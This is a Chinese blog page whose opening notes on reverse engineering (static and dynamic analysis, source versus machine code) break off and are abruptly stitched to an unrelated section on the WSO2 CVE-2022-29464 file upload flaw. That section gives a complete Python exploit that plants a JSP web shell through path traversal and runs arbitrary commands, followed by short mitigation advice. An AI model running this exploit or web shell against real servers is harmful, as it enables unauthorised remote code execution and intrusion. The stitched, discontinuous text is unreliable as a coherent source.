1.关于逆向工程(RE、RCE)-笔记

本文介绍了逆向工程(RE)和代码逆向工程(RCE)的概念,详细阐述了静态分析和动态分析两种逆向分析方法,包括如何通过观察文件外部特征、使用反汇编工具及调试器来理解程序行为。同时,讨论了源代码、十六进制代码和汇编代码之间的关系,以及在逆向工程中反编译工具如IDA和OD的应用。
  1. 名词

    逆向工程(Reverse Engineering,简称RE);代码逆向工程(Reverse Code Engineering,简称RCE)。

  1. 逆向分析方法

    静态分析:不执行代码,观察外部特征、获取文件类型、大小、PE头信息、Import/ExportAPI、内部字符串、是否运行时解压缩、注册信息、调试信息、数字证书等。同时还经常使用反汇编工具查看内部代码、分析代码。

动态分析:程序文件执行过程中分析,通过调试来分析代码流,获得内存的状态。可以观察文件、注册表、网络等的同时分析软件的行为。此外动态分析常用调试器分析程序的内部结构与动作原理。

  1. 源代码、十六进制代码、汇编代码

平时编程写的代码被称为源代码(vs2015):

 

写完代码进行编译链接之后生成的可执行文件,用相关工具打开,就能看到十六进制机器码。(010Editor)

### 3.2 WSO2 文件上传漏洞(CVE-2022-29464)的远程代码执行利用方式 WSO2 是一套广泛用于企业级 API 管理、身份认证和集成服务的中间件平台,其多个版本中存在一个严重的任意文件上传漏洞(CVE-2022-29464),攻击者可利用该漏洞在未授权的情况下上传恶意 JSP 文件并实现远程代码执行(RCE)[^1]。 此漏洞的核心在于 WSO2 的 `/fileupload` 接口对上传路径和文件内容缺乏有效校验。攻击者可通过构造特定路径的上传请求,将包含恶意脚本的 `.jsp` 文件写入服务器的 Web 可访问目录,从而触发代码执行。例如,上传到 `authenticationendpoint` 或 `scim20endpoint` 子路径下的 JSP 文件会被服务器当作动态页面解析并执行其中的 Java 代码[^2]。 #### 3.2.1 漏洞利用流程 攻击者通常采用以下步骤完成对该漏洞的利用: - **构建恶意JSP文件**:创建包含远程命令执行逻辑的 JSP 脚本,例如使用 `Runtime.getRuntime().exec()` 方法执行系统命令。 - **构造上传请求**:向 `/fileupload/toolsAny` 接口发送 POST 请求,并通过修改路径参数将文件上传至目标 Web 目录,如 `../../../../repository/deployment/server/webapps/authenticationendpoint/`。 - **触发WebShell执行**:成功上传后,通过浏览器或工具访问该 JSP 文件以激活远程控制功能,实现命令注入和进一步横向渗透[^3]。 #### 3.2.2 示例EXP与攻击载荷 以下是基于 Python 的漏洞利用脚本示例,使用 `requests` 库向目标服务器发送恶意上传请求,并指定路径将 `.jsp` 文件写入可执行目录: ```python import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) url = input("请输入URL:") file = "shell.jsp" payload = """<FORM> <INPUT name='cmd' type=text> <INPUT type=submit value='Run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd, null, null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s + "<br>"; } } catch(IOException e) { e.printStackTrace(); } } %> <pre><%=output %></pre>""" files = { "../../../../repository/deployment/server/webapps/authenticationendpoint/{0}".format(file): payload } response = requests.post(f"{url}/fileupload/toolsAny", files=files, verify=False) print(f"shell @ {url}/authenticationendpoint/{file}") ``` 运行上述脚本后,若上传成功,攻击者可通过访问 `https://<target>/authenticationendpoint/shell.jsp?cmd=id` 来执行任意系统命令并获取输出结果。 #### 3.2.3 攻击影响范围与缓解建议 该漏洞影响广泛的 WSO2 产品线,包括但不限于: - WSO2 API Manager 2.2.0 至 4.0.0 - WSO2 Identity Server 5.2.0 至 5.11.0 - WSO2 Enterprise Integrator 6.2.0 至 6.6.0 建议受影响组织尽快升级至官方发布的修复版本,并采取以下防护措施: - 配置严格的上传路径限制策略,避免文件被写入 Web 根目录; - 对上传文件进行内容扫描,识别并阻断包含 `<%`, `eval`, `Runtime.getRuntime()` 等关键字的脚本; - 启用 WAF 规则,检测异常的 `/fileupload` 请求行为; - 关闭不必要的调试接口和服务,减少攻击面。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值